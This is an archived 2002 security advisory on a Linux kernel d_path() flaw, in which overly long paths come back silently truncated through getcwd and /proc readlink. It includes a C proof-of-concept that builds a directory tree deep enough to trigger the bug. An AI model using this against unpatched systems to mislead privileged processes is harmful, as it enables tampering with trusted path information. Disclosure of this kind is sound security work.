TUCoPS :: Linux :: Apps A-M :: lnx5213.htm

d_path() truncating excessive long path name vulnerability
27th Mar 2002 [SBWID-5213]
COMMAND

	d_path() truncating excessive long path name vulnerability

SYSTEMS AFFECTED

	linux kernel up to 2.2.20 and 2.4.18

PROBLEM

	Wojciech Purczynski from iSEC Security Research [http://isec.pl/]  found
	a bug in Linux kernel internal function d_path :
	

	In case of excessively long path names d_path kernel  internal  function
	returns truncated trailing components of  a  path  name  instead  of  an
	error value. As this function is called by  getcwd(2)  system  call  and
	do_proc_readlink()  function,  false  information  may  be  returned  to
	user-space processes.
	

	d_path kernel function resolves a string of  absolute  path  name  of  a
	dentry passed as an argument to the function.
	

	The path is a concatenation of subsequent path components starting  from
	trailing path component. The concatenated path name  is  stored  into  a
	fixed-length buffer of PAGE_SIZE bytes.
	

	If a dentry points to a path  that  exceeds  PAGE_SIZE  -  1  characters
	length, leading path components  are  not  written  to  the  buffer  and
	function returns truncated path without an error value.
	

	Because getcwd(2) system call uses  d_path()  function,  it  may  return
	invalid path to the user-space process. However, if a returned  path  is
	longer than user-space buffer a correct error value is returned.
	

	readlink(2)   system   call   called    on    proc    filesystem    uses
	do_proc_readlink() function which is also vulnerable to d_path() bug.
	

	

	 Impact:

	 =======

	

	Privileged process may be tricked to think it  is  inside  of  arbitrary
	directory. Other scenarios are possible if readlink() is used  on  files
	on proc filesystem (like \"/proc/self/exe\").
	

	

	/*

	 * 2.2.x/2.4.x Linux kernel d_path proof-of-concept exploit

	 *

	 * Bug found by cliph

	 */

	

	#include <unistd.h>

	#include <stdio.h>

	#include <limits.h>

	#include <errno.h>

	#include <paths.h>

	

	/*

	 *  Note: on Linux 2.2.x PATH_MAX = PAGE_SIZE - 1 that gives us 1 byte for 

	 *        trailing \'\\0\' 

	 */

	

	#define PATH_COMPONENT \"123456789abcdef\"

	

	void err(char * msg)

	{

		if (errno) {

			perror(msg);

			exit(1);

		}

	}

	

	int main()

	{

		char buf[PATH_MAX + 1]; /* think of trailing \'\\0\' */

		int len;

		

		errno = 0;

	

		chdir(_PATH_TMP);

		err(\"chdir\");

		

		/* show CWD before exploiting the bug */

		getcwd(buf, sizeof(buf));

		err(\"getcwd #1\");

		fprintf(stderr, \"CWD=%.40s\\n\", buf);

		

		/* creating long directory tree - it must exceed PATH_MAX characters */

		for (len = 0; len <= PATH_MAX; len += strlen(PATH_COMPONENT) + 1) {

			errno = 0;

			mkdir(PATH_COMPONENT, 0700);

			if (errno != EEXIST)

				err(\"mkdir\");

			errno = 0;

			chdir(PATH_COMPONENT);

			err(\"mkdir\");

		}

	

		/* show CWD before exploiting the bug */

		getcwd(buf, sizeof(buf));

		err(\"getcwd #1\");

		fprintf(stderr, \"CWD=%.40s... [stripped]\\n\", buf);

		

		return 0;

	}

	

SOLUTION

	Nothing yet.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH